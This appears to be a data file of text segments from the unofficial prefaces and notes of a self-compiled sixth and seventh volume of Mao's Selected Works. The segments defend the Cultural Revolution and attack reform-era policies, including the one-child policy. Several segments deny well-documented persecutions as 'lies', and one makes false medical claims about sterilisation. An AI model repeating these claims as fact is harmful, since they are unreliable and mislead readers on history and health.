第四，本选集有两种装订的本子。一种是各时期的著作合订的一卷本，另一种是四卷本。四卷本的第一卷包括第一次国内革命战争时期和第二次国内革命战争时期的著作；第二卷和第三卷包括抗日战争时期的著作；第四卷包括第三次国内革命战争时期的著作。 中共中央毛泽东选集出版委员会 一九五一年八月二十五日"},
    {"text": "出版说明 出版说明 伟大的领袖和导师毛泽东主席的著作，是马克思列宁主义的不朽贡献。根据中共中央的决定，《毛泽东选集》第五卷现在出版了，以后各卷也将陆续出版。 过去出版的《毛泽东选集》第一卷至第四卷，是新民主主义革命时期的重要著作。第五卷和以后各卷，是社会主义革命和社会主义建设时期的重要著作。 在中华人民共和国成立以后的新的历史时期，毛泽东同志坚持马克思列宁主义的普遍真理和革命具体实践相结合的一贯原则。领导我党和我国人民，在进行社会主义革命和社会主义建设的斗争中，在反对高饶、彭德怀、刘少奇、林彪、王张江姚的修正主义路线的斗争中，在反对帝国主义和各国反动派的斗争中，在反对以苏修叛徒集团为中心的现代修正主义的斗争中，继承、捍卫和发展了马克思列宁主义。这个时期，毛泽东同志在理论上最伟大的贡献，就是系统的总结了我国的和国际的无产阶级专政的历史经验，运用唯物辩证法的对立统一这个基本观点，分析了社会主义的发展规律，创立了无产阶级专政下继续革命的伟大理论。毛泽东同志关于无产阶级革命和无产阶级专政的这种新思想、新结论，在哲学、政治经济学和科学社会主义方面，极大地丰富了马克思列宁主义的理论宝库。它不仅为我国人民指明了巩固无产阶级专政，防止资本主义复辟，建设社会主义的根本道路，而且具有伟大的深远的世界意义。 《毛泽东选集》第五卷是一九四九年九月到一九五七年的重要著作。毛泽东同志关于在生产资料所有制的社会主义改造基本完成以后无产阶级和资产阶级、社会主义道路和资本主义道路的斗争还长期存在的科学论断，关于正确区分和处理社会主义社会中敌我矛盾和人民内部矛盾这两类不同性质的矛盾的学说，关于无产阶级专政下继续革命的伟大理论，关于社会主义建设总路线的基本思想，就是在这卷著作中首次提出的。以后，特别是在无产阶级文化大革命中，毛泽东同志根据革命实践经验，不断地充实和发展了这些光辉思想。 毛泽东同志是当代最伟大的马克思列宁主义者。毛泽东思想是我党我军和我国人民团结战斗、继续革命的胜利旗帜，是国际无产阶级和各国革命人民的共同财富。毛泽东同志的思想和学说是永存的。 收入选集的毛泽东同志在社会主义革命和社会主义建设时期的著作，有一部分公开发表过，有一部分没有公开发表过，包括毛泽东同志起草的文件、手稿和讲话的正式记录。讲话记录在编辑时作了必要的技术性的整理。 中共中央毛泽东主席著作编辑出版委员会 一九七七年三月一日"},
    {"text": "根据中共中央出版毛选和毛泽东全集的决定 〔1〕 ，老朽编辑了这部《毛泽东选集》第六卷，第七卷（文化大革命时期）也将在今后出版。 过去出版的《毛泽东选集》第一卷至第四卷，是新民主主义革命时期的重要著作。 第五卷和以后各卷，是社会主义革命和社会主义建设时期的重要著作。"},
    {"text": "在中华人民共和国成立以后的新的历史时期，毛泽东同志坚持马克思列宁主义的普遍真理和革命具体实践相结合的一贯原则。 领导我党和我国人民，在进行社会主义革命和社会主义建设的斗争中，在反对各种修正主义路线的斗争中，在反对帝国主义和各国反动派的斗争中，在反对以苏修叛徒集团为中心的现代修正主义的斗争中，继承、捍卫和发展了马克思列宁主义。 这个时期，毛泽东同志在理论上最伟大的贡献，就是系统的总结了我国的和国际的无产阶级专政的历史经验，运用唯物辩证法的对立统一这个基本观点，分析了社会主义的发展规律，创立了无产阶级专政下继续革命的伟大理论。 毛泽东同志关于无产阶级革命和无产阶级专政的这种新思想、新结论，在哲学、政治经济学和科学社会主义方面，极大地丰富了马克思列宁主义的理论宝库。 它不仅为我国人民指明了巩固无产阶级专政，防止资本主义复辟，建设社会主义的根本道路，而且具有伟大的深远的世界意义。"},
    {"text": "毛泽东同志关于社会主义革命和社会主义建设的理论，关于在社会主义时期要大抓阶级斗争、防止资本主义复辟的理论，关于从社会主义向共产主义过渡的理论，关于反对现代修正主义和教条主义的理论，关于用“一个中国允许两种社会制度”解决台湾问题的理论，关于社会主义教育运动的理论，关于培养无产阶级革命接班人的理论，都在本卷中得到阐述。"},
    {"text": "毛泽东同志的学说——“毛泽东思想”，是马克思列宁主义发展的新阶段，但由于毛泽东同志逝世后一些别有用心的人打着“坚持毛泽东思想”的旗号搞“非毛”活动，让“毛泽东思想”这个术语由原来代表的鲜艳红旗变成了不知道什么颜色的“特色旗”，所以老朽也用“毛主义” 〔2〕 来代表毛泽东同志的学说。 毛主义是当今世界的马列主义，马列毛主义是当今国际共产主义运动正确的指导思想。 毛泽东主义是国际无产阶级和各国革命人民的共同财富。 毛泽东同志的思想和学说是永存的。"},
    {"text": "收入选集的毛泽东同志在社会主义革命和社会主义建设时期的著作，有一部分发表在中央出版的文件上，有一部分没有正式发表过，包括毛泽东同志起草的文件、手稿和讲话的正式记录，讲话记录在编辑时作了必要的技术性的整理。 静 火 二〇〇九年六月四日 注 释 〔1〕 中共中央关于出版《毛泽东选集》和筹备出版《毛泽东全集》的决定： 半个多世纪以来，伟大的领袖和导师毛泽东主席根据马克思列宁主义的普遍真理和革命具体实践相结合的原则，在领导我国完成新民主主义革命和进行社会主义革命、社会主义建设的伟大斗争中，在反对党内右的和“左”的机会主义路线的伟大斗争中，在反对帝国主义、以苏修叛徒集团为中心的现代修正主义和各国反动派的伟大斗争中，在各个方面继承、捍卫和发展了马克思列宁主义，丰富了马克思主义的理论宝库。 毛主席的著作，是马克思列宁主义的不朽文献。 出版毛主席的著作，对于我国各族人民继承毛主席的遗志，把无产阶级革命事业进行到底，对于全世界无产阶级和被压迫民族被压迫人民的解放事业，都具有伟大的现实意义和深远的历史意义。"},
    {"text": "中共中央决定： （一）尽快出版《毛泽东选集》第五卷，并陆续出版以后各卷。 在出版选集的同时，积极地筹备出版《毛泽东全集》。 （二）出版《毛泽东选集》和《毛泽东全集》的工作，由以华国锋同志为首的中共中央政治局直接领导，下设一个毛泽东主席著作编辑出版委员会，负责整理、编辑和出版的具体工作。 （三）毛主席著作的所有原件，由中共中央办公厅负责收集，保存。 中央责成各级党委将本地区、本单位保存的毛主席的一切手稿，包括文章、文件、电报、批示、书信、诗词、题词的原件，以及讲话的原始记录稿，尽快送交中央办公厅。"},
    {"text": "中共中央号召全党、全军和全国各族人民，掀起一个学习马列著作和毛主席著作的新高潮，并且大力帮助收集毛主席的著作原件。 中共中央希望各国马列主义政党、组织和进步团体、友好人士协助做好毛主席著作原件的收集工作。"},
    {"text": "中 共 中 央 一九七六年十月八日 〔2〕 尼泊尔共产党〔毛主义〕主席普拉昌达：《论毛主义》 马克思主义是在阶级斗争的历史经验和发展之中结晶出来的无产阶级的革命科学。"},
    {"text": "正如马列主义是共产主义革命者在与各种各样的反动思想、修正主义和机会主义的斗争中建立起来的，毛主义也将在与各种错误的剧烈斗争中建立起来。"},
    {"text": "在我们的运动中，尽管有了把毛的贡献理解为马列主义的思想，这些贡献已被用“毛泽东思想”这一术语进行了表述。 虽然我们把毛的贡献作为无产阶级普遍接受的理论，并宣布“毛泽东思想是当今世界的马列主义。"},
    {"text": "2、把阶级斗争、生产斗争和科学实验作为认识的来源，对感性认识上升为理性认识的过程和对理论与实践相互之间关系的分析，毛的思想无可争辩地在认识论的领域做出了重大的贡献。"},
    {"text": "4、在同修正主义者的资产阶级思想“生产力理论”和“经济主义”（这是基于对经济基础和上层建筑相互关系的形而上学与一点论的理解而产生的。"},
    {"text": "5、毛的使哲学走出图书馆和书斋变为不可战胜的武器的必要性以及实现这一过程的实践为使辩证唯物主义哲学变成强大的物质力量奠定了基础。"},
    {"text": "对被压迫民族中的官僚资本主义性质——垄断资本主义联合封建主义掠夺人民的代理人——的分析，一方面揭露了以新殖民主义面目出现的帝国主义的非人性的本质，另一方面也指明了被压迫民族革命的对象。"},
    {"text": "3、在新民主主义革命的背景下，通过实行耕者有其田的政策摧毁封建主义的基础，没收具有垄断性质的外国和国内的公司并以此限制、控制和引导对公共生活不具有控制力的私营资本主义，这些经济政策已被实践证明是合理的。"},
    {"text": "3、牢记苏联反革命的教训，毛发展了整个社会主义历史阶段阶级斗争仍在继续的理论，及在此基础上产生的无产阶级专政下继续革命的理论为在社会主义时期防止资本主义复辟提供了强大的理论武器。"},
    {"text": "3、有人会说，我们不应匆忙地提出毛主义，在这样重大的问题上，没有人会听我们的话，那样的术语就不应该被提出：这只会引起不必要的争论。"},
    {"text": "在为中国人民不懈奋斗的光辉一生中，毛泽东同志表现出了一个伟大革命领袖高瞻远瞩的政治远见、坚定不移的革命信念、炉火纯青的斗争艺术和杰出高超的领导才能。"},
    {"text": "” 〔2〕 对于这样一个伟大的人物，自他逝世后30年内，一些人利用自己的话语权肆意污蔑诋毁抹黑毛泽东，企图把毛泽东从人民的心中抹去，但是他们做到了吗？"},
    {"text": "没有，他们永远也做不到，因为诋毁一个集大政治家、大革命家、大军事家、大战略家、大理论家、大思想家、大文学家、大书法家、大诗人为一身的伟大人物，是永远也不得人心的。"},
    {"text": "感谢互联网，互联网真正贯彻了毛泽东主张的“公民有运用‘大鸣大放大字报大辩论’的权利”，正如毛泽东在本卷中所说，“科学是不怕论战的，怕论战的不是科学”，老朽提供这样一部毛选，就是为了供广大网友在辩论中有据可依，防止不良文人断章取义地歪曲毛泽东。"},
    {"text": "毛泽东最大的特点是相信群众、依靠群众，热爱群众、保护群众。 毛泽东联系群众、相信群众、依靠群众，一切为了人民，一切为了劳苦大众的思想，就是毛泽东的政治路线。"},
    {"text": "看到了成堆成堆的官老爷的腐败，看到了房地产开发商的贪婪，看到了最神圣职业医生的堕落，看到了学校在吃学生的肉喝家长的血，看到了城管对劳苦民众的暴虐，看到了计生委的灭绝人性，看到了众多反动学术权威的无耻言论，而这些人却结成了一个肮脏的“神圣同盟”，他们一提到“毛泽东”，就叫嚣什么“晚年错误”、“骄傲”、“专制”、“不民主”、“文革有罪”、“极左”，想尽一切办法妖魔化毛泽东，用那个决议（关于建国以来党的若干历史问题的决议）来做借口，却全不顾那个决议的精神“中国人民始终把毛泽东同志看作是自己敬爱的伟大领袖和导师”。"},
    {"text": "老朽采集资料来源主要有以下几种：一部分以中央名义正式发表过，如《毛泽东文集》 〔3〕 、《建国以来毛泽东文稿》 〔4〕 、《毛泽东论教育革命》 〔5〕 、《毛泽东外交文选》 〔6〕 ；"},
    {"text": "还有一些是以中央文件下发的但没有注明是谁起草的，如《建国以来重要文献选编》 〔8〕 ，老朽根据风格断定有些文件出自毛泽东主席之手，但终不能得到中央确认，所以注上“静火有言”，以示郑重。"},
    {"text": "静 火 二〇〇九年六月四日 再版说明 根据后来的发现，对第一版进行了个别字的修订，如错字、异体字的修正，同时增加了毛泽东同志在郑州会议上的部分讲话，现发布第二版。 静 火 二〇〇九年八月八日 三版说明 毛泽东选集第七卷编辑完了，老朽把第六卷和第七卷的风格又统一了一下，联合发布，现发布第三版。"},
    {"text": "《文集》共八卷，由人民出版社出版，分三次陆续出齐。 一九九三年毛泽东诞辰一百周年时出版第一、二卷，一九九六年毛泽东逝世二十周年时出版第三、四、五卷，一九九九年七月一日出版第六、七、八卷。"},
    {"text": "〔4〕 《建国以来毛泽东文稿》是一部供研究用的多卷本文献集，编入毛泽东建国后的以下三类文稿：（一）手稿〔包括文章、指示、批示、讲话提纲、批注、书信、诗词、在文件上成段加写的文字等〕；"},
    {"text": "〔7〕 《毛泽东思想万岁》：是一九六八年武汉群众组织翻印的，为了区别其它的版本和说明来源，姑且定名为“六八年汉版《毛泽东思想万岁》”。"},
    {"text": "〔8〕 《建国以来重要文件选编》：由中共中央文献研究室编辑，中央文献出版社出版，共20册，收入的是从建国开始至“文化大革命”前夕的重要文献，以《共同纲领》开卷。 书中包括中共中央、全国人在、政务院和国务院、中央军委发出的最基本的文件及批转的所属部门的一些重要文件，中央主要领导人、一些部门负责人发表的重要讲话和文章，以及通过报刊传达中央精神的重要社会等；"},
    {"text": "出版说明 出版说明 伟大的领袖和导师毛泽东主席的著作，是马克思列宁主义的不朽贡献。根据中共中央出版毛选和毛泽东全集的决定 〔1〕 ，老朽编辑了这部《毛泽东选集》第七卷（文化大革命时期），因获知毛泽东主席生前不愿出全集，老朽也无此能力，故全集之事只能报憾了，就此封笔。 过去出版的《毛泽东选集》第一卷至第四卷，是新民主主义革命时期的重要著作。第五卷和第六卷，是社会主义革命和社会主义建设时期的重要著作。第七卷是文化大革命时期的重要著作。 在中华人民共和国成立以后的新的历史时期，毛泽东同志坚持马克思列宁主义的普遍真理和革命具体实践相结合的一贯原则，领导我党和我国人民，在进行社会主义革命和社会主义建设的斗争中，在反对各种修正主义路线的斗争中，在反对帝国主义和各国反动派的斗争中，在反对以苏修叛徒集团为中心的现代修正主义的斗争中，继承、捍卫和发展了马克思列宁主义。这个时期，毛泽东同志在理论上最伟大的贡献，就是系统的总结了我国的和国际的无产阶级专政的历史经验，运用唯物辩证法的对立统一这个基本观点，分析了社会主义的发展规律，创立了无产阶级专政下继续革命的伟大理论。毛泽东同志关于无产阶级革命和无产阶级专政的这种新思想、新结论，在哲学、政治经济学和科学社会主义方面，极大地丰富了马克思列宁主义的理论宝库。它不仅为我国人民指明了巩固无产阶级专政，防止资本主义复辟，建设社会主义的根本道路，而且具有伟大的深远的世界意义。 《毛泽东选集》第七卷是一九六六年到一九七六年的重要著作。毛泽东同志关于开展无产阶级文革大革命的理论，关于人民拥有大鸣大放大辩论大字报“四大”权利的理论，关于对修正主义反动派造反有理的理论，关于权力机构必须实行全面的选举制的理论，关于抓革命生产的理论，关于发展经济备战备荒为人民的理论，关于无产阶级政党要吐故纳新的理论，关于学校要半工半读的理论，关于知识青年要支援农村的理论，关于合作医疗的理论，关于划分三个世界的理论，关于中国不称霸的理论，都在本卷中得到阐述。 毛泽东同志的学说——“毛泽东思想”，是马克思列宁主义发展的新阶段，但由于毛泽东同志逝世后一些别有用心的人打着“坚持毛泽东思想”的旗号搞“非毛”活动，让“毛泽东思想”这个术语由原来代表的鲜艳红旗变成了不知道什么颜色的“特色旗”，所以老朽也用“毛主义” 〔2〕 来代表毛泽东同志的学说。 毛主义是当今世界的马列主义，马列毛主义是当今国际共产主义运动正确的指导思想。毛泽东主义是国际无产阶级和各国革命人民的共同财富。毛泽东同志的思想和学说是永存的。 收入选集的毛泽东同志在无产阶级文化大革命时期的著作，有一部分发表在中央出版的文件上，有一部分没有正式发表过，包括毛泽东同志起草的文件、手稿和讲话的正式记录，讲话记录在编辑时作了必要的技术性的整理。 静 火 二〇一〇年六月四日 注 释 〔1〕 见卷六《出版说明》注〔1〕。 〔2〕 见卷六《出版说明》注〔2〕。"},
    {"text": "” 〔2〕 但实际上，三十年来，掌握了话语权的修正主义右派为了证明改革开放的合法性，肆意地猖狂地无耻地抹黑诋毁文革，而一些意图推翻共产党和公有制的“资产阶级民主派”也加入了反毛的大合唱，于是各种报刊影视小说等思想领域，大量充斥着文革和毛泽东的谎言： 1、红卫兵比日本鬼子还坏的谎言 2、刘少奇有病不给治，被迫害致死的谎言 3、大批老干部被迫害致死的谎言 4、文革使经济到了崩溃的边缘的谎言 5、文革闭关锁国的谎言 6、文革是十年动乱灾难浩劫内战闹剧的谎言 7、周恩来也反对文革，文革是毛泽东一人的文革的谎言 许多朋友已经驳斥了这七个谎言，但他们还会造出七十个、七百个谎言，比如，“毛泽东的稿费在文革中达到亿元”的谎言，比如“错批一人，误增三亿”的谎言，甚至“毛泽东的《沁园春·雪》是窃取胡乔木”的谎言，够了！"},
    {"text": "我明白了，他们和毛泽东之间是阶级仇，他们知道毛泽东是社会主义的魂，只有彻底否定人民领袖毛泽东，让人民失去指导自己斗争的理论——毛主义，他们才好在中国全面实行资本主义，他们才好为所欲为地压迫人民。"},
    {"text": "因此，只有把历史的真相告诉人民，谎言才没有市场，才会有更多的人和他们斗争，主席说，“人民、只有人民，才是创造世界历史的动力”，所以唤醒人民才能取得斗争的最后胜利，这也是老朽编写本卷的一个目的。"},
    {"text": "铺天盖地的反毛非毛宣传是无法蒙蔽广大人民的眼睛的，但确实给一些小孩洗了脑，比如袁腾飞（七二年出生，在其九岁到十八岁的年龄段被反毛宣传洗脑），而其本人又不学无术，终于变成了一个垃圾文人。"},
    {"text": "（二） 改革开放的指导思想是“非毛”、“唯生产力论”加“不争论”，即是后来大肆鼓吹的“以经济建设为中心”，唯生产力论的根本思想不是以人民的幸福为治国标准，而是以经济数字为标准，一切为了提高GDP，不择手段不计后果，为了提高GDP，可以将宝贵的有限的资源贱卖给外国资本家，可以将国企卖给个人，可以不顾环境污染，可以再现黄赌毒，可以贪污，可以受贿，可以把人民的命用二十万来标价，挖煤矿的时候人不过是二十万的设备，死一个就赔二十万，然后继续挖。 而最能体现改革开放指导思想的就是强制计划生育政策，本来生育权是基本人权，之前国际三个人权会议 〔4〕 都通过宣言，确认“父母享有自由负责决定子女人数及其出生时距的基本人权”，任何政府和组织不能剥夺人民的生育权。 但修正主义右派为了反毛非毛，散布“中国贫穷的根源在于人口多、分母大，而毛泽东与马寅初的人口之争以及‘人多力量大’的口号导致了中国人口的激增，所以毛泽东是中国贫穷落后的制造者”等歪理邪说，一九七九年八月五日《光明日报》上发表反动文人朱相远的文章《错批一人，误增三亿》，意思是说，由于在五十年代错误地批判了马寅初的“人口论”，致使中国人口多增了三亿，拉开了非毛的序幕，这个谎言直到二〇〇九年十二月才由中央文献室曹前发写的《“错批一人，误增三亿”说之历史误读》正面斥之为“谬误”，可惜已经流毒三十年矣。 一九八〇年九月二十五日，《中共中央关于控制我国人口增长问题致全体共产党员共青团员的公开信》发布，标志着修正主义势力已经全面夺取了共产党的领导权，已经掌握制定政策的权力，改革开放由此开始，此后强计生在“不争论”的口号下野蛮推行，致使我中华民族四亿子孙无法来到这个世界，八亿父母受到最耻辱的迫害，公职被开除，房屋被扒倒，家里值钱的东西被抄走，人被抓走强行阉割结扎，而后来的结果表明，无论男女结扎十年后必将失去性能力，多少大月份的婴儿被打上毒针然后引出体外，哇哇哭声不断，对母亲对婴儿这是多么残忍的事啊，老朽亲眼见过计生委的打手进农村抓人，把全村符合条件的男子全部抓走结扎，这是多么令人发指毛骨悚然的罪行啊，希特勒推行灭绝犹太人计划毕竟是针对外国外族，南非推行种族隔离制度毕竟不伤及人命，而强计生却是针对自己的民族自己的子孙，手段更是无所不用其极，天啊，我怎么生在这样一个罪恶的年代！ 而计生委的刽子手们，却把杀戮婴儿消灭子孙当成了自己的功绩，二〇〇九年十二月九日，计生委的副主任赵白鸽在哥本哈根联合国气候变化大会竟然说出“中国在过去三十年里少出生了四亿人口，按照目前人均二氧化碳排放量四点五七吨计算，中国如今每年减少十八点三亿吨二氧化碳排放”，人怎能如此无耻！"},
    {"text": "强制计划生育在理论上是无知、愚蠢和荒谬的：一九七九年八月五日，田雪原发表长篇论文《为马寅初先生的新人口论翻案》，一九八〇年，新华社公布了导弹控制论专家宋健等人用“自然科学和社会科学相结合”的“人口控制论”的方法研究出来的《百年人口预测报告》：二〇五〇年中国人口将达到四十亿。"},
    {"text": "他们所谓的“现代科学”就是设计数学模型，算中国有多少耕地资源、多少别的资源，这些资源能养活多少人，由此决定中国的“最适人口”是几个亿（七亿、五亿、三亿的说法都有），他们荒谬地认为，“公民的生育权利是政府恩赐的”，为此中国必须实行生育率管制减少多少人口以达到这个“最适人口”。"},
    {"text": "《中共中央关于控制我国人口增长问题致全体共产党员共青团员的公开信》说“有些同志担心，一对夫妇只生育一个孩子，将来会出现一些新的问题：例如人口的平均年龄老化，劳动力不足，男性数目会多过女性，一对青年夫妇供养的老人会增加。"},
    {"text": "强制计划生育政策是野蛮的：时任总理的赵紫阳在《1982年政府工作报告》中讲到，“提倡一对夫妇只生一个孩子，严格控制第二胎，坚决杜绝多胎生育”，“严格控制”加上“坚决杜绝”是多么野蛮啊，由于强计生违反人性和人权，必然受到人民的抵制，计生部门主要、经常依靠暴力或其他强制措施推行，手段包括强迫体检、上环、结扎、堕胎、处死活体娩出（通常是大月份甚至是足月引产）的婴儿、巨额罚款（社会抚养费）、抢夺财产、殴打、抄家、坐黑牢（办学习班）、不给上户口、开除公职、学籍、军籍等等。 超越人性底线的种种暴力计生事件层出不穷，如孕妇在街上被抓走做流产顶替他人流产名额，计生对象逃走抓捕其亲属、邻居，姐姐逃走就结扎妹妹，哥哥违规扒弟弟的房子等等，法院不愿、不能、不敢受理计生案件。"},
    {"text": "但是当政府或他人损坏他的健康、毁损他的名誉、暴露他的隐私、闯入家中拿走他的财产、抱走他的孩子、抢走他的妻子的时候，当政府或他人用绳子五花大绑把她抓去绝育或堕胎的时候；"},
    {"text": "这种痛苦达到一定程度，对许多人来说可以彻底摧毁他的人格尊严和道德观念，使他（她）相信“人对人是狼”的性恶论，从而在没有现实危险的时候不择手段地侵犯他人的利益和社会公益。"},
    {"text": "其二，强计生导致了严重的人口结构问题，据统计，二〇〇七年中国六十岁以上老年人口已达一点四三亿，占总人口的百分之十一，中国人口老龄化高峰期将在二〇三〇年到来，届时需要抚养的老人将占总人口的百分之四十到五十。"},
    {"text": "强计生造成劳动力短缺，养老金陷入困境，整个民族面临崩溃的危险，想一想，两个独生子女夫妻怎么能扶养一个孩子和赡养各自的爸爸妈妈爷爷奶奶共九个人呢，家庭势必崩溃，家庭的崩溃势必引起社会的崩溃，因为全中国的所有老人必须靠全中国的所有年轻人来共同养老，由于独生子女比例高和适龄青年逐渐减少，同时会出现征兵难的情况，独生子从小受溺爱，娇生惯养，怎么能打仗？"},
    {"text": "其三，强计生造成性别失调，据二〇〇七年二月人口与计划生育委员会发布的《人口和计划生育统计公报》，我国一九九六年至二〇〇五年出生婴儿的性别比高达127：100。"},
    {"text": "其四，强计生造成中国的主题民族汉族在各地人口比例下降，严重弱化各民族之间的凝聚力和向心力，少数民族占优后的地区必然发生分裂主义运动，现在的西藏和新疆就出现了这种恶果。 其五，强计生对家庭伦理的摧残是致命的，人的社会情感，主要包括亲情、友情和爱情。"},
    {"text": "而亲情又包括父母儿女之情，兄弟姐妹之情，还有与叔、伯、姑、舅、姨之间的亲情，以及由这些关系衍生出的堂兄妹、表兄妹之间的亲情乃至更大范围的亲情。 而现在因独生子女家庭居多，堂亲、表亲这些层次都逐渐弱化或者断绝，这种人伦的缺陷必将导致国民精神生态的失衡和破坏。"},
    {"text": "改革开放中的许多政策都和强计生类似，像医疗改革、教育改革、住房改革、国企改革、就业改革等等，都是决于仓促，行于专制，收于罪恶，邓小平的改革开放以强计生开始，必将以强计生被废除而结束。"},
    {"text": "（三） 文化大革命和后来的改革开放是完全不同的两条路线，是严重对立的两条道路，一条是社会主义道路，一条是权贵资本主义道路，文革革的是官，改革改的是民，请看： 1、文革实行大民主，七五年宪法规定“大鸣、大放、在辩论、大字报，是人民群众创造的社会主义革命的新形式。"},
    {"text": "改革搞“垂帘听政”，搞“不争论”，八二年宪法删去了“四大”权利和“罢工”自由，并且在八九年后制定了《中华人民共和国集会游行示威法》，这部只有三十六条条文的法律，竟有三分之二的条文是约束公民权利的行使，使用了十三个“不得”，根本就是反游行示威法，此后，中国再无真正的游行示威、言论自由。"},
    {"text": "”（美国前国务卿基辛格回忆毛泽东时代时的谈话） 对这一点，毛泽东主席在文革中就看透了，准确地把邓小平定位在“走资派”，邓小平虽然多次表示“永不翻案”，但他一直怀着报复的心态想否定文革的，等他把华国锋逼下台后，就对文革进行了彻底否定，清理了所谓的“三种人”，所有的政策都与文革对着干，一九八四年四月二十三日《人民日报》发表了评论员文章《就是要彻底否定文革》 〔5〕 ，提出：对“文革”就是要彻底否定。"},
    {"text": "”（邓选第三卷《一靠理想二靠纪律才能团结起来（一九八五年三月七日）》） 下面我提供一个资料，据新华社举办的国内经济权威报纸《经济参考报》二〇一〇年五月二十一日发表的《中国基尼系数实已超0.5财富两极分化》，国内各大网站均予转载，作者系新华社世界问题研究中心研究员： “世界银行报告显示，美国是5%的人口掌握了60%的财富，而中国则是1%的家庭掌握了全国41.4%的财富。"},
    {"text": "” “国际上通常认为，基尼系数0.4是警戒线，一旦基尼系数超过0.4，表明财富已过度集中于少数人，该国社会处于可能发生动乱的“危险”状态。 我国基尼系数已从改革开放初的0.28上升到二〇〇七年的0.48，近两年不断上升，实际已超过了0.5，这是十分严重的信号。"},
    {"text": "” 按照邓小平的标准和新华社公布的事实资料，我们可以肯定地说，改革开放的政策失败了，改革开放是一条邪路，这是任何人都否定不了的事实。"},
    {"text": "（四） 文革十年是思想空前解放的十年，文革使社会主义观念深入人心，这就是追求公正，追求平等，追求社会正义和自由，反对压迫，反对剥削，从此后，谁想在中国搞资本主义就不得人心，谁想剥削别人压迫别人就会被打倒。 文革十年是人民群众扬眉吐气的十年，“哪里有压迫哪里就有反抗”，“对反动派造反有理”，“大鸣大放大字报大辩论”等毛主义成为人民手中的利器，反对官僚主义、官僚特权、等级差别，打击贪污腐败、腐化没落，追求社会平等、社会公正。 文革十年是民生辉煌的十年，实现了教育革命，改革了从学制、教材到升学、考试等一系列旧的教育制度。"},
    {"text": "从农村到城市，从小学到大学，成立了以工人阶级和贫下中农为主体的教育革命和教育行政的管理机构； 工农兵上大学，管大学，教育真正回到了劳动人民的手中。"},
    {"text": "随着知识青年的上山下乡，在广大农村涌现出一大批“赤脚医生”，农村普遍实行了合作医疗制度，长期以来农民缺医少药的状况有了极大的改善。"},
    {"text": "工农兵真正走进了艺术的殿堂，成为了舞台和各类文学艺术作品的主人，他们和他们的英雄业绩与劳动风采，成为了被讴歌的主题。 千百年来，文学艺术领域这块帝王将相、才子佳人世袭的领地，史无前例地为工农兵所占领。"},
    {"text": "批判资产阶级及一切剥削阶级的旧思想、旧文化、旧风俗、旧习惯，破除封建迷信，普及科学知识，开展群众性的文化体育活动，社会风气良好，新人新事辈出。"},
    {"text": "文革十年是政治清明干部清廉的十年，毛泽东同志的无产阶级专政下继续革命理论深入人心，工人阶级和广大人民群众提高了对马克思主义还是修正主义、社会主义还是资本主义的识别能力。"},
    {"text": "由于各级革命委员会都有相当数量的群众代表参加，社会主义民主得到了进一步发扬，因而密切了政府与人民群众之间的联系，以工农大众为主体的广大人民群众成为了国家政权的坚实基础，社会秩序稳定，犯罪率极低，人民安居乐业，无产阶级专政得到了进一步的巩固。"},
    {"text": "一九七六年与一九六五年相比：拖拉机和手扶拖拉机的产量，分别相当于一九六五年的六点七倍和六十六倍，全国三分之一的耕地实行了机械耕种；"},
    {"text": "机械工业方面，建设了湖北第二汽车制造厂、四川大足汽车制造厂、四川德阳第二重型机械厂、陕西富平压延厂等一大批企业。 煤炭工业方面，建设了贵州六盘水、四川宝顶山、芙蓉山、山东兖州等大型煤矿。 电力工业方面，重点建设了甘肃刘家峡、湖北丹江口等一批水电站和火电厂。 著名的葛州坝大型水电站及国外引进设备的唐山陡河电厂，也开始动工兴建。"},
    {"text": "邮电通讯方面，一九七六年建成全长一千七百多公里的中间轴一千八百路载波通讯干线和连通全国二十多个省市区的微波通讯干线，北京、上海还各建了一条卫星地面站。"},
    {"text": "一九七〇年四月二十四日，我国又成功发射了第一颗人造地球卫星。 一九七五年十一月二十六日，按预定计划回收所发射的人造地球卫星成功，使我国成为美、苏之后第三个可以回收卫星的国家。"},
    {"text": "（五） 老朽采集资料来源主要有以下几种：一部分以中央名义正式发表过，如《毛泽东文集》 〔6〕 、《建国以来毛泽东文稿》 〔7〕 、《毛泽东论教育革命》 〔8〕 、《毛泽东外交文选》 〔9〕 、《毛泽东传（1949—1976）》 〔10〕 、《我的情报与外交生涯》 〔11〕 、文革中传达下发的文件、全部的《人民日报》（1966—1976）；"},
    {"text": "〔3〕 茅于轼，极右的资产阶级经济学家，极力鼓吹新自由主义，对毛泽东和毛主义怀有刻骨的仇恨，一九九六年发表《中国建设和谐社会的主要对立面是什么》，公开鼓吹：“改革后的近三十年，中国已经有了几千万个有钱人，他们可以名正言顺地称为中产阶级或资产阶级。"},
    {"text": "一九六九年十二月十一日，联合国公布联大第2542号决议宣布：“第四条：家庭，作为社会的基本单位，并作为全体家庭成员，特别是儿童和少年的成长和幸福所需的固有环境，应得到帮助和保护，以便它可以充分承担其在社会中的各种责任。"},
    {"text": "” 一九七四年有中国参加的布加勒斯特世界人口大会通过的《世界人口行动计划》：“人口政策应该与以下这些普遍现实相符合：社会和经济发展、妇女在法律、政治、社会和文化方面的平等地位、对父母和儿童权利的尊重以及父母繁衍后代和自主、负责地决定其子女的人数和生育间隔的权利。"},
    {"text": "” 〔5〕 一九八四年四月二十三日《人民日报》发表评论员文章《就是要彻底否定文革》，全文如下： 在我们国家的政治大舞台上，“文化大革命”这出闹剧已经落幕多年了。"},
    {"text": "尤其不能容忍的是，当年进驻杭州大学地理系，参与策划这一事件的个别人，至今仍然认为这种摧残知识分子的做法是正确的，是“严格按照党的方针政策，实事求是做耐心过细的思想工作，以政策开道，严禁逼供信，启发帮助他们讲清自己的问题”的。"},
    {"text": "党的十一届六中全会通过的《关于建国以来党的若干历史问题的决议》明确指出：“‘文化大革命’不是也不可能是任何意义上的革命或社会进步。"},
    {"text": "不彻底否定“文革”的那一套“理论”、做法，就不可能有三中全会以来的路线、方针、政策，就不可能有政治上安定团结、经济上欣欣向荣的新局面。"},
    {"text": "《文集》共八卷，由人民出版社出版，分三次陆续出齐。 一九九三年毛泽东诞辰一百周年时出版第一、二卷，一九九六年毛泽东逝世二十周年时出版第三、四、五卷，一九九九年七月一日出版第六、七、八卷。"},
    {"text": "〔7〕 《建国以来毛泽东文稿》是一部供研究用的多卷本文献集，编入毛泽东建国后的以下三类文稿：（一）手稿（包括文章、指示、批示、讲话提纲、批注、书信、诗词、在文件上成段加写的文字等）；"},
    {"text": "〔10〕 《毛泽东传（1949—1976）》，中共中央文献研究室出版，是经中共中央批准撰写的毛泽东传的建国后部分，尽管其受翻案《决议》的约束，但披露的一些事实仍然有很高的价值。"},
